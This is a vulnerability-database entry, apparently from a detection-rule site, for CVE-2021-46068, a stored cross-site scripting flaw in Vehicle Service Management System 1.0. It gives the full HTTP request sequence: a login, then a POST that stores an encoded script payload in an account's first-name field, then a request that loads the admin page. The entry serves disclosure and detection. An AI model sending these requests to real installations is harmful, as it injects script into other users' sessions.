🔙 목록으로 돌아가기

CVE-2021-46068: Vehicle Service Management System - Stored Cross-Site Scripting

TitleVehicle Service Management System - Stored Cross-Site Scripting
AuthorTenBird
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to the execution of arbitrary code or theft of sensitive information.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score4.8
EPSS Score0.05674
CVE IDCVE-2021-46068
CWE IDCWE-79
Tags cve2021 cve xss vms authenticated vehicle_service_management_system_project vuln

🔍 Vulnerability Description

A Stored Cross Site Scripting (XSS) vulnerability exists in Vehicle Service Management System 1.0 via the My Account Section in login panel.

🌐 HTTP Request

POST /classes/Login.php?f=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

username=H3rE4Z&password=RMXC9f
POST /classes/Users.php?f=save HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9
Connection: close
Content-Length: 117
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

id=1&firstname=Administrator%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&lastname=Admin&username=admin
GET /admin/?page=user HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46068.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46068.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A